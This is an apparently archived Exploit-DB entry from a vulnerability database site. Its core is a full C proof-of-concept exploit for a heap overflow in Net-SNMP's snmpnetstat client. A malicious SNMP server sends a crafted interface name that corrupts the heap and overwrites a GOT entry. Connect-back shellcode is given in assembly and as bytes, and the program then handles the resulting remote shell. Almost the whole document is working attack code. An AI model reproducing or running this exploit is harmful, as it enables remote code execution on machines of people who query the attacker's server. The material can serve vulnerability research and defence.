Lucene search
K

Net-SNMP 4.2.3 - snmpnetstat Remote Heap Overflow

🗓️ 03 Jan 2002 00:00:00Reported by Juan M. de la TorreType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Net-SNMP snmpnetstat has a heap overflow that may allow arbitrary code execution via SNMP requests.

Code
// source: https://www.securityfocus.com/bid/3780/info

Net-SNMP is a package of software tools related to the Simple Network Management Protocol. One of the tools included is snmpnetstat, which can be used to retrieve and display a variety of information about a remote SNMP host.

A heap overflow vulnerability exists in the snmpnetstat client. A SNMP host may return malicious information when a list of interfaces is requested. Under some circumstances, this will result in a heap overflow in the SNMP client. Exploitation of this vulnerability can result in the execution of abritary code as the snmpnetstat client.

Earlier versions of Net-SNMP may also be vulnerable. 

/*
 * Proof of concept xploit for snmpnetstat  
 *
 *  This causes snmpnetstat to overwrite the GOT entry
 * of endprotoent with the address of a connect-back
 * shellcode. The shellcode has some size limitations.
 *
 *  USE THIS AT YOUR OWN RISK
 *
 *  Send comments to Juan M. de la Torre / [email protected]
 *  http://www.axiomasistemas.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>

/*
 * Constants
 */
#define ASN_SEQUENCE      0x10
#define ASN_CONSTRUCTOR   0x20
#define ASN_INTEGER       0x02
#define ASN_OCTET_STRING  0x04
#define ASN_CONTEXT       0x80
#define ASN_OBJECTID      0x06

#define SNMP_GETREQUEST     (ASN_CONSTRUCTOR | ASN_CONTEXT)
#define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1)
#define SNMP_GETRESPONSE    (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2)

enum exploit_states 
{ 
	STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1,
	STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT
};

/*
 * Globals (I know globals sucks, but...)
 */
static int state;
static int session_id;
static struct sockaddr_in client;
static unsigned short bindport = 3234;
static int use_bind_addr = 0;
static unsigned long bind_addr;

/*
 * 101 bytes connect-back shellcode 
        xorl %eax, %eax
        pushl %eax            # push IPPROTO_IP
        inc %eax
        pushl %eax            # push SOCK_STREAM
        inc %eax
        jmp skip
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
skip:
        pushl %eax           # push AF_INET
        movl %esp, %ecx
        xorl %ebx, %ebx
        movb $0x1, %bl       # SYS_SOCKET
        movb $102, %al       # __NR_socketcall
        int $0x80
        movl %eax, %edx      # save fd in eax and edx
        movb $0x3, %bl       # SYS_CONNECT
        movl %eax, (%ebp)    # put fd as first argument
        pushl $0x0100007f    # fill struct sockaddr_in
        pushl $0x01010002
        movl %esp, 0x4(%ebp)
        movb $16, %al        # sizeof struct sockaddr_in
        movl %eax, 0x8(%ebp)
        movl %ebp, %ecx
        movb $102, %al       # __NR_socketcall
        int $0x80
        decb %bl # %ebx contains '2'
        movzbl %dl, %ecx
loop1:
        movb $6, %al         # __NR_close
        int $0x80
        xchgb %cl, %bl
        movb $63, %al        # __NR_dup2
        int $0x80
        xchgb %cl, %bl
        decb %bl
        jge loop1
        pushl $0x0068732f
        pushl $0x6e69622f
        movl %esp, %ebx
        xorl %edx, %edx
        pushl %edx
        pushl %ebx
        movl %esp, %ecx
        movb $0xb, %al       # __NR_execve
        int $0x80
 */
static u_char shellcode[] = {
        0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3,
        0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45,
        0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01,
        0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0,
        0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd,
        0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb,
        0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69,
        0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b,
        0xcd, 0x80
};

static void __attribute__ ((noreturn))
fatal (u_char *fmt, ...)
{
	va_list ap;

	va_start (ap, fmt);
	vfprintf (stderr, fmt, ap);
	va_end (ap);

	exit (EXIT_FAILURE);
}

/*
 * ASN.1 code
 */
static u_char *
asn_append_len (u_char *pkt, int len)
{
	if (len <= 0x7f)
	{
		/* short len */
		*pkt++ = (u_char) len;
		return (pkt);
	}

	if (len <= 0xff)
	{
		*pkt++ = 0x81;
		*pkt++ = (u_char) (len);
		return (pkt);
	}

	*pkt++ = 0x82;
	*pkt++ = (u_char) ((len & 0xff00) >> 8);
	*pkt++ = (u_char) (len & 0xff);

	return (pkt);
}

static u_char *
asn_append_sequence (u_char *pkt, int len)
{
	*pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR);
	pkt = asn_append_len (pkt, len);
	return (pkt);
}

static u_char *
asn_append_objectid (u_char *pkt, u_char *str, int nlen)
{
	int i = 0;
	
	*pkt++ = ASN_OBJECTID;
	pkt = asn_append_len (pkt, nlen);
	
	while (nlen--)
		*pkt++ = str[i++];

	return (pkt);
}

static u_char *
asn_append_octet_string (u_char *pkt, u_char *str, int nlen)
{
	int i = 0;
	
	*pkt++ = ASN_OCTET_STRING;
	pkt = asn_append_len (pkt, nlen);
	
	while (nlen--)
		*pkt++ = str[i++];

	return (pkt);
}

static u_char *
asn_append_integer (u_char *pkt, unsigned long n, int nlen)
{
	if (nlen != 4 && nlen != 2 && nlen != 1)
		fatal ("error: bad nlen in asn_append_integer(): %i\n",
				nlen);

	*pkt++ = ASN_INTEGER;
	*pkt++ = (u_char) (nlen & 0xff);

	switch (nlen)
	{
	case 1:
		*pkt++ = (u_char) (n & 0xff);
		break;

	case 2:
		*pkt++ = (u_char) ((n & 0xff00) >> 8);
		*pkt++ = (u_char) (n & 0xff);
		break;
		
	case 4:
		*pkt++ = (u_char) ((n & 0xff000000) >> 24);
		*pkt++ = (u_char) ((n & 0xff0000) >> 16);
		*pkt++ = (u_char) ((n & 0xff00) >> 8);
		*pkt++ = (u_char) (n & 0xff);
		break;
	}

	return (pkt);
}

static u_char *
asn_get_octet_string (u_char *pkt, u_char *dst)
{
	int len, i = 0;

	if (*pkt++ != ASN_OCTET_STRING)
		fatal ("error: error while talking to client\n");

	len = *pkt++;

	while (len--)
		dst[i++] = *pkt++;

	return (pkt);
}

static u_char *
asn_get_objectid (u_char *pkt, u_char *dst)
{
	int len, i = 0;

	if (*pkt++ != ASN_OBJECTID)
		fatal ("error: error while talking to client\n");

	len = *pkt++;

	while (len--)
		dst[i++] = *pkt++;

	return (pkt);
}

static u_char *
asn_get_integer (u_char *pkt, int *pdst)
{
	int len, nbits, dst;
	
	if (*pkt++ != ASN_INTEGER)
		fatal ("error: error while talking to client\n");

	len = *pkt++;
	if (len != 1 && len != 2 && len != 4)
		fatal ("error: incorrent integer len received from client\n");
		
	switch (len)
	{
	case 4:
		nbits = 24; break;
	case 2:
		nbits = 8; break;
	case 1:
		nbits = 0; break;
	}

	dst = 0;
	while (len--)
	{
		dst |= ((*pkt++) << nbits);
		nbits -= 8;
	}

	*pdst = dst;

	return (pkt);
}

static unsigned long
get_source_addr (struct sockaddr_in *s_in)
{
	int sd, slen;
	struct sockaddr_in me;
	
	if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
		fatal ("socket(): %s\n", strerror (errno));
	
	if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0)
		fatal ("connect(): %s\n", strerror (errno));

	slen = sizeof (me);
	if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0)
		fatal ("getsockname(): %s\n", strerror (errno));

	close (sd);
	
	return ((unsigned long) me.sin_addr.s_addr);
}

typedef struct
{
	unsigned long psize;
	unsigned long size; /* 0x1 -> PREV_INUSE */
	unsigned long fd;
	unsigned long bk;
} chunk_t;

#define PREV_INUSE 0x1

static u_char *
make_evil_str (int *plen)
{
	int len;
	static u_char buf[BUFSIZ];
	chunk_t *c;
	unsigned long *ip;	
	unsigned short *port;

	memset (buf, 0x90, BUFSIZ);

	c = (chunk_t *) (buf - 4);

	/* leave psize of first chunk unused */
	c->size = 0x16UL;
	c->fd = 0x807dbe8;
	c->bk = 0x8050df0 - 8;
	
	c++;
	c->size = 0UL; /* zero PREV_INUSE bit */

	len = 12 + 16 + 14 + sizeof (shellcode);
	memcpy (buf + 16 + 4, shellcode, sizeof (shellcode));

	ip = (unsigned long *) (buf + 16 + 4 + 35);
	*ip = (use_bind_addr ? bind_addr : get_source_addr (&client));

	port = (unsigned short *) (buf + 16 + 4 + 42);
	*port = htons (bindport);

	*plen = len;
	return (buf);
}

/*
 * SNMP code
 */
static void
snmp_waiting_getnext2 (int sd, u_char *buf)
{
	u_char *ptr = buf;
	int version, foo;
	u_char comm[BUFSIZ], resp[BUFSIZ];
	u_char oids[11][BUFSIZ];
	int i, len, evil_str_len;
	u_char *evil_str = NULL;

        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
                fatal ("error: protocol error\n");

        ptr += 2;

        ptr = asn_get_integer (ptr, &version);
        if (version != 0)
                fatal ("error: client uses a version different from 0\n");

        memset (comm, 0, sizeof (comm));
        ptr = asn_get_octet_string (ptr, comm);

        if (*ptr++ != SNMP_GETNEXTREQUEST)
                fatal ("error: protocol error\n");

        ptr += 2; /* skip len */

        ptr = asn_get_integer (ptr, &session_id);

        ptr = asn_get_integer (ptr, &foo);
        ptr = asn_get_integer (ptr, &foo);

        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
                fatal ("error: protocol error\n");
        ptr += 2;

	for (i = 0; i < 11; i++)
	{
		if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
			fatal ("error: protocol error\n");
		ptr++;
		ptr = asn_get_objectid (ptr, oids[i]);
		ptr += 2;
	}

        memset (resp, 0, sizeof (resp));
        ptr = resp;
	
	evil_str = make_evil_str (&evil_str_len);

	/* calculate len of the response */
	len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4;
	len += (11 * 14) + 40 + evil_str_len + 2;

        ptr = asn_append_sequence (ptr, len);
        ptr = asn_append_integer (ptr, 0, 1);
        ptr = asn_append_octet_string (ptr, comm, strlen (comm));
     
	*ptr++ = SNMP_GETRESPONSE;
	/* calculate len of the getresponse PDU */
	len -= (3 + (2 + strlen (comm)) + 4);
	ptr = asn_append_len (ptr, len);

        ptr = asn_append_integer (ptr, session_id, 4);
        ptr = asn_append_integer (ptr, 0, 1);
        ptr = asn_append_integer (ptr, 0, 1);

	/* calculate len of data */
	len -= (6 + 3 + 3 + 4);
        ptr = asn_append_sequence (ptr, len);

	for (i = 0; i < 11; i++)
	{
		len = 12;

		oids[i][9]++;

		switch (oids[i][8])
		{
		case 1: /* ifindex */
			len += 4;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			ptr = asn_append_integer (ptr, 2, 1);
			break;

		case 2: /* ifname */
			len += 3 + evil_str_len;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			ptr = asn_append_octet_string (ptr, evil_str, evil_str_len);
			break;

		case 4: /* ifmtu */
		case 8: /* ifoperstatus */
			len += 4;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			ptr = asn_append_integer (ptr, 2, 2);
			break;

		case 0xb:   /* INUCASTPKTS */
		case 0xc:   /* INNUCASTPKTS */
		case 0xe:   /* INERRORS */
		case 0x11:  /* OUTUCASTPKTS */
		case 0x12:  /* OUTNUCASTPKTS */
		case 0x14:  /* OUTERRORS */
			len += 4;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			*ptr++ = 0x41;
			*ptr++ = 2;
			*ptr++ = 1;
			*ptr++ = 1;
			break;
			
		case 0x15:  /* OUTQLEN */
			len += 3;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			*ptr++ = 0x42;
			*ptr++ = 1;
			*ptr++ = 0;
			break;
		}
	}

        len = (ptr - resp);
	
        if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
                perror ("sendto()"), exit (EXIT_FAILURE);

        state = STATE_WAITING_CONNECT;
}

static void
snmp_waiting_getnext1 (int sd, u_char *buf)
{
	u_char *ptr = buf;
	u_char len;
	int version, foo;
	u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ];
	u_char resp[BUFSIZ];

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");

	len = *ptr++;

	ptr = asn_get_integer (ptr, &version);
	if (version != 0)
		fatal ("error: client uses a version different from 0\n");

	memset (comm, 0, sizeof (comm));
	ptr = asn_get_octet_string (ptr, comm);
		
	if (*ptr++ != SNMP_GETNEXTREQUEST)
		fatal ("error: protocol error\n");

	ptr++; /* skip len */
	
	ptr = asn_get_integer (ptr, &session_id);

	ptr = asn_get_integer (ptr, &foo);
	ptr = asn_get_integer (ptr, &foo);

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	ptr = asn_get_objectid (ptr, oid1);
	if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0)
		fatal ("error: protocol error\n");
	ptr += 2;

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	ptr = asn_get_objectid (ptr, oid2);
	if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0)
		fatal ("error: protocol error\n");
	ptr += 2;

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	ptr = asn_get_objectid (ptr, oid3);
	if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0)
		fatal ("error: protocol error\n");

	memset (resp, 0, sizeof (resp));
	ptr = resp;

	ptr = asn_append_sequence (ptr, 0x54 + 9);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_octet_string (ptr, comm, strlen (comm));
	*ptr++ = SNMP_GETRESPONSE;
	*ptr++ = 0x47 + 9;
	ptr = asn_append_integer (ptr, session_id, 4);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_integer (ptr, 0, 1);
	
	ptr = asn_append_sequence (ptr, 0x39 + 9);
	
	ptr = asn_append_sequence (ptr, 0x11 + 1);
	ptr = asn_append_objectid (ptr, oid1, 0x0D);
	ptr = asn_append_integer (ptr, 1, 1);
	
	ptr = asn_append_sequence (ptr, 0x11 + 4);
	ptr = asn_append_objectid (ptr, oid2, 0x0D);
	ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
	
	ptr = asn_append_sequence (ptr, 0x11 + 4);
	ptr = asn_append_objectid (ptr, oid3, 0x0D);
	ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
	
	len = (ptr - resp);

	if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
		perror ("sendto()"), exit (EXIT_FAILURE);

	state = STATE_WAITING_GETNEXT2;
}

static void
snmp_listening (int sd, u_char *buf)
{
	u_char *ptr = buf;
	u_char len;
	int version, foo;
	u_char comm[BUFSIZ], oid[BUFSIZ];
	u_char resp[BUFSIZ];
	
	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");

	len = *ptr++;

	ptr = asn_get_integer (ptr, &version); 
	if (version != 0)
		fatal ("error: client uses a version different from 0\n");

	memset (comm, 0, sizeof (comm));
	ptr = asn_get_octet_string (ptr, comm);
		
	if (*ptr++ != SNMP_GETREQUEST)
		fatal ("error: protocol error\n");

	ptr++; /* skip len */

	ptr = asn_get_integer (ptr, &session_id);
	ptr = asn_get_integer (ptr, &foo);
	ptr = asn_get_integer (ptr, &foo);

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;

	ptr = asn_get_objectid (ptr, oid);
	if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0)
		fatal ("error: protocol error\n");
	
	memset (resp, 0, sizeof (resp));
	ptr = resp;

	ptr = asn_append_sequence (ptr, 42);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_octet_string (ptr, comm, strlen (comm));
	*ptr++ = SNMP_GETRESPONSE;
	*ptr++ = 0x1D;
	ptr = asn_append_integer (ptr, session_id, 4);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_sequence (ptr, 0x0F);
	ptr = asn_append_sequence (ptr, 0x0D);
	ptr = asn_append_objectid (ptr, oid, 8);
	ptr = asn_append_integer (ptr, 1, 1);
	
	len = (ptr - resp);

	if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
		perror ("sendto()"), exit (EXIT_FAILURE);

	state = STATE_WAITING_GETNEXT1;
}

static void
bindshell (int sd)
{
	struct pollfd fds[2];
	u_char *cmds = "pwd; id; uname -a\n";
	u_char buf[BUFSIZ];
	int n;
	
	write (sd, cmds, strlen (cmds));

	while (1)
	{
		memset (&fds, 0, sizeof (fds));

		fds[0].events = fds[1].events = POLLIN;
		fds[0].fd = sd;
		fds[1].fd = 0;

		if (poll (fds, 2, -1) < 0)
			fatal ("poll(): %s\n", strerror (errno));

		if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP))
			fatal ("connection closed\n");

		if (fds[0].revents & POLLIN)
		{
			n = read (fds[0].fd, buf, BUFSIZ);
			if (n < 1)
				fatal ("connection closed\n");
			write (1, buf, n);
		}
		
		if (fds[1].revents & POLLIN)
		{
			n = read (fds[1].fd, buf, BUFSIZ);
			write (sd, buf, n);
		}
	}
}

static void
snmp_waiting_connect (void)
{
	int sd, val, fsd, slen;
	struct sockaddr_in s_in;
	struct pollfd pfd;
	
	if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		fatal ("socket(): %s\n", strerror (errno));

	memset (&s_in, 0, sizeof (s_in));
	s_in.sin_family = AF_INET;
	s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY);
	s_in.sin_port = htons (bindport);

	if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
		fatal ("bind(): %s\n", strerror (errno));

	listen (sd, 5);

	fprintf (stderr, "awaiting connection from client...\n");

	memset (&pfd, 0, sizeof (pfd));
	pfd.fd = sd;
	pfd.events = POLLIN;

	if ((val = poll (&pfd, 1, 20 * 1000)) < 0)
		fatal ("poll(): %s\n", strerror (errno));

	if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN))
		fatal ("no connection from client in 20 seconds. aborting\n");

	memset (&s_in, 0, sizeof (s_in));
	slen = sizeof (s_in);
	fsd = accept (sd, &s_in, &slen);
	close (sd);

	if (fsd < 0)
		fatal ("accept(): %s\n", strerror (errno));

	fprintf (stderr, "received connection from %s:%i\n",
			inet_ntoa (s_in.sin_addr),
			htons (s_in.sin_port));

	bindshell (fsd);
}

static void
snmp_proccess (int sd, u_char *buf)
{
	switch (state)
	{
	case STATE_LISTENING:
		snmp_listening (sd, buf);
		break;

	case STATE_WAITING_GETNEXT1:
		snmp_waiting_getnext1 (sd, buf);
		break;

	case STATE_WAITING_GETNEXT2:
		snmp_waiting_getnext2 (sd, buf);
		break;
	}
}

static void __attribute__ ((noreturn))
usage (u_char *p)
{
	fprintf (stderr, "Usage: %s [options]\n", p);
	fprintf (stderr, "options:\n"
			"-p <port>\tsnmp port to listen on\n"
			"-P <port>\tconnect-back port\n"
			"-a <ip>\t\tbind socket to this address\n"
			"-h\t\tshow this\n\n");
	exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
	int sd, slen;
	struct sockaddr_in s_in;
	u_char buf[BUFSIZ];
	unsigned short snmp_port = 161;
	unsigned long snmp_ip = INADDR_ANY;
	char opt;
	
	fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <[email protected]>\n\n");

	while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF)
		switch (opt)
		{
		case 'p':
			snmp_port = atoi (optarg);
			break;

		case 'P':
			bindport = atoi (optarg);
			break;
		
		case 'a':
			if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0)
				fatal ("%s is not a valid ip address\n", optarg);
			bind_addr = snmp_ip;
			use_bind_addr = 1;
			break;
		
		case 'h': /* fallthrough */
		default:
			usage (argv[0]);
		}

	fprintf (stderr, "use -h to show usage\n");

	if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
		perror ("socket()"), exit (EXIT_FAILURE);

	memset (&s_in, 0, sizeof (s_in));
	s_in.sin_family = AF_INET;
	s_in.sin_port = htons (snmp_port);
	s_in.sin_addr.s_addr = snmp_ip;

	if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
		perror ("bind()"), exit (EXIT_FAILURE);

	state = STATE_LISTENING;

	fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port);

	while (1)
	{
		memset (buf, 0, sizeof (buf));
		slen = sizeof (client);
		if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1)
			perror ("recvfrom()"), exit (EXIT_FAILURE);

		fprintf (stderr, "procesing snmp packet from %s:%i\n",
				inet_ntoa (client.sin_addr),
				htons (client.sin_port));

		snmp_proccess (sd, buf);

		if (state == STATE_QUITTING)
			break;

		if (state == STATE_WAITING_CONNECT)
		{
			snmp_waiting_connect ();
			break;
		}
	}

	close (sd);
	
	exit (EXIT_SUCCESS);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation